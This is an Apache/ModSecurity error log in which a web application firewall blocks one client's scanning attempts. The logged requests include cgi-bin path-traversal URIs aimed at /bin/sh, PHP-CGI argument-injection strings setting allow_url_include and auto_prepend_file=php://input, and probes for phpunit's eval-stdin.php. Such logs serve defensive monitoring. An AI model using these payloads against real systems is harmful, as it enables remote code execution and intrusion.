[Sat Oct 24 05:41:10.025501 2026] [core:error] [pid 2607243:tid 2607243] [client 190.171.189.85:37840] AH10244: invalid URI path (/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh)
[Sat Oct 24 05:41:10.246425 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 3.226.106.93:33766] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:41:10.401324 2026] [core:error] [pid 2608798:tid 2608798] [client 190.171.189.85:37850] AH10244: invalid URI path (/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh)
[Sat Oct 24 05:41:10.826828 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "atx9NgSwRuPA-FjBma7HjgAAAAI"]
[Sat Oct 24 05:41:10.826914 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "atx9NgSwRuPA-FjBma7HjgAAAAI"]
[Sat Oct 24 05:41:10.827441 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "atx9NgSwRuPA-FjBma7HjgAAAAI"]
[Sat Oct 24 05:41:10.827744 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "atx9NgSwRuPA-FjBma7HjgAAAAI"]
[Sat Oct 24 05:41:11.765816 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/"] [unique_id "atx9NwSwRuPA-FjBma7HjwAAAAI"]
[Sat Oct 24 05:41:11.765895 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/"] [unique_id "atx9NwSwRuPA-FjBma7HjwAAAAI"]
[Sat Oct 24 05:41:11.766378 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/"] [unique_id "atx9NwSwRuPA-FjBma7HjwAAAAI"]
[Sat Oct 24 05:41:11.766684 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/"] [unique_id "atx9NwSwRuPA-FjBma7HjwAAAAI"]
[Sat Oct 24 05:41:11.989132 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "atx9NwSwRuPA-FjBma7HkAAAAAI"]
[Sat Oct 24 05:41:11.989212 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: %ADd allow_url_include=1 %ADd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "atx9NwSwRuPA-FjBma7HkAAAAAI"]
[Sat Oct 24 05:41:11.989730 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "atx9NwSwRuPA-FjBma7HkAAAAAI"]
[Sat Oct 24 05:41:11.990017 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "atx9NwSwRuPA-FjBma7HkAAAAAI"]
[Sat Oct 24 05:41:12.206242 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/test.hello"] [unique_id "atx9OASwRuPA-FjBma7HkQAAAAI"]
[Sat Oct 24 05:41:12.206356 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: %ADd allow_url_include=1 %ADd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/test.hello"] [unique_id "atx9OASwRuPA-FjBma7HkQAAAAI"]
[Sat Oct 24 05:41:12.207008 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/test.hello"] [unique_id "atx9OASwRuPA-FjBma7HkQAAAAI"]
[Sat Oct 24 05:41:12.207457 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/test.hello"] [unique_id "atx9OASwRuPA-FjBma7HkQAAAAI"]
[Sat Oct 24 05:41:12.425068 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "atx9OASwRuPA-FjBma7HkgAAAAI"]
[Sat Oct 24 05:41:12.425176 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "atx9OASwRuPA-FjBma7HkgAAAAI"]
[Sat Oct 24 05:41:12.425601 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "atx9OASwRuPA-FjBma7HkgAAAAI"]
[Sat Oct 24 05:41:12.425910 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "atx9OASwRuPA-FjBma7HkgAAAAI"]
[Sat Oct 24 05:41:12.677038 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atx9OASwRuPA-FjBma7HkwAAAAI"]
[Sat Oct 24 05:41:12.677732 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atx9OASwRuPA-FjBma7HkwAAAAI"]
[Sat Oct 24 05:41:12.678190 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atx9OASwRuPA-FjBma7HkwAAAAI"]
[Sat Oct 24 05:41:12.883897 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "atx9OASwRuPA-FjBma7HlAAAAAI"]
[Sat Oct 24 05:41:12.884522 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "atx9OASwRuPA-FjBma7HlAAAAAI"]
[Sat Oct 24 05:41:12.884956 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "atx9OASwRuPA-FjBma7HlAAAAAI"]
[Sat Oct 24 05:41:13.098617 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atx9OQSwRuPA-FjBma7HlQAAAAI"]
[Sat Oct 24 05:41:13.099045 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atx9OQSwRuPA-FjBma7HlQAAAAI"]
[Sat Oct 24 05:41:13.099373 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atx9OQSwRuPA-FjBma7HlQAAAAI"]
[Sat Oct 24 05:41:13.294583 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "atx9OQSwRuPA-FjBma7HlgAAAAI"]
[Sat Oct 24 05:41:13.294978 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "atx9OQSwRuPA-FjBma7HlgAAAAI"]
[Sat Oct 24 05:41:13.295303 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "atx9OQSwRuPA-FjBma7HlgAAAAI"]
[Sat Oct 24 05:41:13.474456 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "atx9OQSwRuPA-FjBma7HlwAAAAI"]
[Sat Oct 24 05:41:13.474911 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "atx9OQSwRuPA-FjBma7HlwAAAAI"]
[Sat Oct 24 05:41:13.475250 2026] [security2:error] [pid 2607843:tid 2607843] [client 190.171.189.85:37864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "atx9OQSwRuPA-FjBma7HlwAAAAI"]
